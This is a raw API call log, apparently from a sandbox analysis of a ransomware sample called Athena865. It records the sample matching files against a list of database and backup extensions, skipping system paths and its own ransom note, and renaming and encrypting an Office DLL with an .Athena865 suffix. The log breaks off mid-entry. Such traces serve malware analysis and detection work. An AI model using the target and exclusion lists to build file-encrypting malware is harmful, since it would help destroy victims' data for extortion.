[0114.317] lstrlenW (lpString="sql") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.317] lstrlenW (lpString="sqlite") returned 6 [0114.317] lstrcmpiW (lpString1="EL.DLL", lpString2="sqlite") returned -1 [0114.317] lstrlenW (lpString="sqlite3") returned 7 [0114.317] lstrcmpiW (lpString1="REL.DLL", lpString2="sqlite3") returned -1 [0114.317] lstrlenW (lpString="sqlitedb") returned 8 [0114.317] lstrcmpiW (lpString1="FREL.DLL", lpString2="sqlitedb") returned -1 [0114.317] lstrlenW (lpString="xml") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.317] lstrlenW (lpString="$er") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.317] lstrlenW (lpString="4dd") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.317] lstrlenW (lpString="4dl") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.317] lstrlenW (lpString="^^^") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.317] lstrlenW (lpString="abs") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.317] lstrlenW (lpString="abx") returned 3 [0114.317] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.317] lstrlenW (lpString="accdb") returned 5 [0114.317] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0114.318] lstrlenW (lpString="accdc") returned 5 [0114.318] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0114.318] lstrlenW (lpString="accde") returned 5 [0114.318] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0114.318] lstrlenW (lpString="accdr") returned 5 [0114.318] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0114.318] lstrlenW (lpString="accdt") returned 5 [0114.318] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0114.318] lstrlenW (lpString="accdw") returned 5 [0114.318] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0114.318] lstrlenW (lpString="accft") returned 5 [0114.318] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0114.318] lstrlenW (lpString="adb") returned 3 [0114.318] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.318] lstrlenW (lpString="adb") returned 3 [0114.318] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.318] lstrlenW (lpString="ade") returned 3 [0114.318] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.318] lstrlenW (lpString="adf") returned 3 [0114.318] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.318] lstrlenW (lpString="adn") returned 3 [0114.318] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.318] lstrlenW (lpString="adp") returned 3 [0114.318] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.318] lstrlenW (lpString="alf") returned 3 [0114.318] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.318] lstrlenW (lpString="ask") returned 3 [0114.318] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.318] lstrlenW (lpString="btr") returned 3 [0114.319] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.319] lstrlenW (lpString="cat") returned 3 [0114.319] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.319] lstrlenW (lpString="cdb") returned 3 [0114.319] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.319] lstrlenW (lpString="ckp") returned 3 [0114.319] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.319] lstrlenW (lpString="cma") returned 3 [0114.319] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.319] lstrlenW (lpString="cpd") returned 3 [0114.319] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.319] lstrlenW (lpString="dacpac") returned 6 [0114.319] lstrcmpiW (lpString1="EL.DLL", lpString2="dacpac") returned 1 [0114.319] lstrlenW (lpString="dad") returned 3 [0114.319] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.319] lstrlenW (lpString="dadiagrams") returned 10 [0114.319] lstrlenW (lpString="daschema") returned 8 [0114.319] lstrcmpiW (lpString1="FREL.DLL", lpString2="daschema") returned 1 [0114.319] lstrlenW (lpString="db-journal") returned 10 [0114.319] lstrlenW (lpString="db-shm") returned 6 [0114.320] lstrcmpiW (lpString1="EL.DLL", lpString2="db-shm") returned 1 [0114.320] lstrlenW (lpString="db-wal") returned 6 [0114.320] lstrcmpiW (lpString1="EL.DLL", lpString2="db-wal") returned 1 [0114.320] lstrlenW (lpString="dbc") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.320] lstrlenW (lpString="dbs") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.320] lstrlenW (lpString="dbt") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.320] lstrlenW (lpString="dbv") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.320] lstrlenW (lpString="dbx") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.320] lstrlenW (lpString="dcb") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.320] lstrlenW (lpString="dct") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.320] lstrlenW (lpString="dcx") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.320] lstrlenW (lpString="ddl") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.320] lstrlenW (lpString="dlis") returned 4 [0114.320] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0114.320] lstrlenW (lpString="dp1") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0114.320] lstrlenW (lpString="dqy") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0114.320] lstrlenW (lpString="dsk") returned 3 [0114.320] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0114.320] lstrlenW (lpString="dsn") returned 3 [0114.321] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0114.321] lstrlenW (lpString="dtsx") returned 4 [0114.321] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0114.321] lstrlenW (lpString="dxl") returned 3 [0114.321] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0114.321] lstrlenW (lpString="eco") returned 3 [0114.321] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0114.321] lstrlenW (lpString="ecx") returned 3 [0114.321] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0114.321] lstrlenW (lpString="edb") returned 3 [0114.321] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0114.321] lstrlenW (lpString="epim") returned 4 [0114.321] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0114.321] lstrlenW (lpString="fcd") returned 3 [0114.321] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0114.321] lstrlenW (lpString="fdb") returned 3 [0114.321] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0114.321] lstrlenW (lpString="fic") returned 3 [0114.321] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0114.321] lstrlenW (lpString="flexolibrary") returned 12 [0114.322] lstrlenW (lpString="fm5") returned 3 [0114.322] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0114.322] lstrlenW (lpString="fmp") returned 3 [0114.322] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0114.322] lstrlenW (lpString="fmp12") returned 5 [0114.322] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0114.322] lstrlenW (lpString="fmpsl") returned 5 [0114.322] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0114.323] lstrlenW (lpString="fol") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0114.323] lstrlenW (lpString="fp3") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0114.323] lstrlenW (lpString="fp4") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0114.323] lstrlenW (lpString="fp5") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0114.323] lstrlenW (lpString="fp7") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0114.323] lstrlenW (lpString="fpt") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0114.323] lstrlenW (lpString="frm") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0114.323] lstrlenW (lpString="gdb") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.323] lstrlenW (lpString="gdb") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.323] lstrlenW (lpString="grdb") returned 4 [0114.323] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0114.323] lstrlenW (lpString="gwi") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0114.323] lstrlenW (lpString="hdb") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0114.323] lstrlenW (lpString="his") returned 3 [0114.323] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0114.323] lstrlenW (lpString="ib") returned 2 [0114.324] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0114.324] lstrlenW (lpString="idb") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0114.324] lstrlenW (lpString="ihx") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0114.324] lstrlenW (lpString="itdb") returned 4 [0114.324] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0114.324] lstrlenW (lpString="itw") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0114.324] lstrlenW (lpString="jet") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0114.324] lstrlenW (lpString="jtx") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0114.324] lstrlenW (lpString="kdb") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0114.324] lstrlenW (lpString="kexi") returned 4 [0114.324] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0114.324] lstrlenW (lpString="kexic") returned 5 [0114.324] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0114.324] lstrlenW (lpString="kexis") returned 5 [0114.324] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0114.324] lstrlenW (lpString="lgc") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0114.324] lstrlenW (lpString="lwx") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0114.324] lstrlenW (lpString="maf") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0114.324] lstrlenW (lpString="maq") returned 3 [0114.324] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0114.324] lstrlenW (lpString="mar") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0114.325] lstrlenW (lpString="marshal") returned 7 [0114.325] lstrcmpiW (lpString1="REL.DLL", lpString2="marshal") returned 1 [0114.325] lstrlenW (lpString="mas") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0114.325] lstrlenW (lpString="mav") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0114.325] lstrlenW (lpString="maw") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0114.325] lstrlenW (lpString="mdbhtml") returned 7 [0114.325] lstrcmpiW (lpString1="REL.DLL", lpString2="mdbhtml") returned 1 [0114.325] lstrlenW (lpString="mdn") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0114.325] lstrlenW (lpString="mdt") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0114.325] lstrlenW (lpString="mfd") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0114.325] lstrlenW (lpString="mpd") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0114.325] lstrlenW (lpString="mrg") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0114.325] lstrlenW (lpString="mud") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0114.325] lstrlenW (lpString="mwb") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0114.325] lstrlenW (lpString="myd") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0114.325] lstrlenW (lpString="ndf") returned 3 [0114.325] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0114.325] lstrlenW (lpString="nnt") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0114.326] lstrlenW (lpString="nrmlib") returned 6 [0114.326] lstrcmpiW (lpString1="EL.DLL", lpString2="nrmlib") returned -1 [0114.326] lstrlenW (lpString="ns2") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0114.326] lstrlenW (lpString="ns3") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0114.326] lstrlenW (lpString="ns4") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0114.326] lstrlenW (lpString="nsf") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0114.326] lstrlenW (lpString="nv") returned 2 [0114.326] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0114.326] lstrlenW (lpString="nv2") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0114.326] lstrlenW (lpString="nwdb") returned 4 [0114.326] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0114.326] lstrlenW (lpString="nyf") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0114.326] lstrlenW (lpString="odb") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.326] lstrlenW (lpString="odb") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.326] lstrlenW (lpString="oqy") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0114.326] lstrlenW (lpString="ora") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0114.326] lstrlenW (lpString="orx") returned 3 [0114.326] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0114.327] lstrlenW (lpString="owc") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0114.327] lstrlenW (lpString="p96") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0114.327] lstrlenW (lpString="p97") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0114.327] lstrlenW (lpString="pan") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0114.327] lstrlenW (lpString="pdb") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0114.327] lstrlenW (lpString="pdm") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0114.327] lstrlenW (lpString="pnz") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0114.327] lstrlenW (lpString="qry") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0114.327] lstrlenW (lpString="qvd") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0114.327] lstrlenW (lpString="rbf") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0114.327] lstrlenW (lpString="rctd") returned 4 [0114.327] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0114.327] lstrlenW (lpString="rod") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0114.327] lstrlenW (lpString="rodx") returned 4 [0114.327] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0114.327] lstrlenW (lpString="rpd") returned 3 [0114.327] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0114.328] lstrlenW (lpString="rsd") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0114.328] lstrlenW (lpString="sas7bdat") returned 8 [0114.328] lstrcmpiW (lpString1="FREL.DLL", lpString2="sas7bdat") returned -1 [0114.328] lstrlenW (lpString="sbf") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0114.328] lstrlenW (lpString="scx") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0114.328] lstrlenW (lpString="sdb") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0114.328] lstrlenW (lpString="sdc") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0114.328] lstrlenW (lpString="sdf") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0114.328] lstrlenW (lpString="sis") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0114.328] lstrlenW (lpString="spq") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0114.328] lstrlenW (lpString="te") returned 2 [0114.328] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0114.328] lstrlenW (lpString="teacher") returned 7 [0114.328] lstrcmpiW (lpString1="REL.DLL", lpString2="teacher") returned -1 [0114.328] lstrlenW (lpString="tmd") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0114.328] lstrlenW (lpString="tps") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0114.328] lstrlenW (lpString="trc") returned 3 [0114.328] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.328] lstrlenW (lpString="trc") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.329] lstrlenW (lpString="trm") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0114.329] lstrlenW (lpString="udb") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0114.329] lstrlenW (lpString="udl") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0114.329] lstrlenW (lpString="usr") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0114.329] lstrlenW (lpString="v12") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0114.329] lstrlenW (lpString="vis") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0114.329] lstrlenW (lpString="vpd") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0114.329] lstrlenW (lpString="vvv") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0114.329] lstrlenW (lpString="wdb") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0114.329] lstrlenW (lpString="wmdb") returned 4 [0114.329] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0114.329] lstrlenW (lpString="wrk") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0114.329] lstrlenW (lpString="xdb") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0114.329] lstrlenW (lpString="xld") returned 3 [0114.329] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0114.329] lstrlenW (lpString="xmlff") returned 5 [0114.329] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0114.329] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.Athena865") returned 76 [0114.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.athena865"), dwFlags=0x1) returned 1 [0114.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0114.332] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9568) returned 1 [0114.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.332] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.333] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.333] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.333] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2860, lpName=0x0) returned 0x154 [0114.335] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2860) returned 0x100000 [0114.336] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.337] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.337] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.338] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0114.338] CloseHandle (hObject=0x154) returned 1 [0114.338] CloseHandle (hObject=0x17c) returned 1 [0114.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.338] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".") returned 1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="..") returned 1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="windows") returned -1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="bootmgr") returned 1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="temp") returned -1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="pagefile.sys") returned -1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="boot") returned 1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="ids.txt") returned 1 [0114.338] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="ntuser.dat") returned 1 [0114.339] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="perflogs") returned -1 [0114.339] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="MSBuild") returned 1 [0114.339] lstrlenW (lpString="OPHPROXY.DLL") returned 12 [0114.339] lstrcpyW (in: lpString1=0x241e8b8, lpString2="OPHPROXY.DLL" | out: lpString1="OPHPROXY.DLL") returned="OPHPROXY.DLL" [0114.339] lstrlenW (lpString="OPHPROXY.DLL") returned 12 [0114.339] lstrlenW (lpString="Athena865") returned 9 [0114.339] lstrcmpiW (lpString1="PROXY.DLL", lpString2="Athena865") returned 1 [0114.339] lstrlenW (lpString=".dll") returned 4 [0114.339] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".dll") returned 1 [0114.339] lstrlenW (lpString=".lnk") returned 4 [0114.339] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".lnk") returned 1 [0114.339] lstrlenW (lpString=".ini") returned 4 [0114.339] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".ini") returned 1 [0114.339] lstrlenW (lpString=".sys") returned 4 [0114.339] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".sys") returned 1 [0114.339] lstrlenW (lpString="OPHPROXY.DLL") returned 12 [0114.339] lstrlenW (lpString="bak") returned 3 [0114.339] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.339] lstrlenW (lpString="ba_") returned 3 [0114.339] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.339] lstrlenW (lpString="dbb") returned 3 [0114.339] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.339] lstrlenW (lpString="vmdk") returned 4 [0114.339] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.339] lstrlenW (lpString="rar") returned 3 [0114.339] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.339] lstrlenW (lpString="zip") returned 3 [0114.339] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.340] lstrlenW (lpString="tgz") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.340] lstrlenW (lpString="vbox") returned 4 [0114.340] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.340] lstrlenW (lpString="vdi") returned 3 [0114.340] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.340] 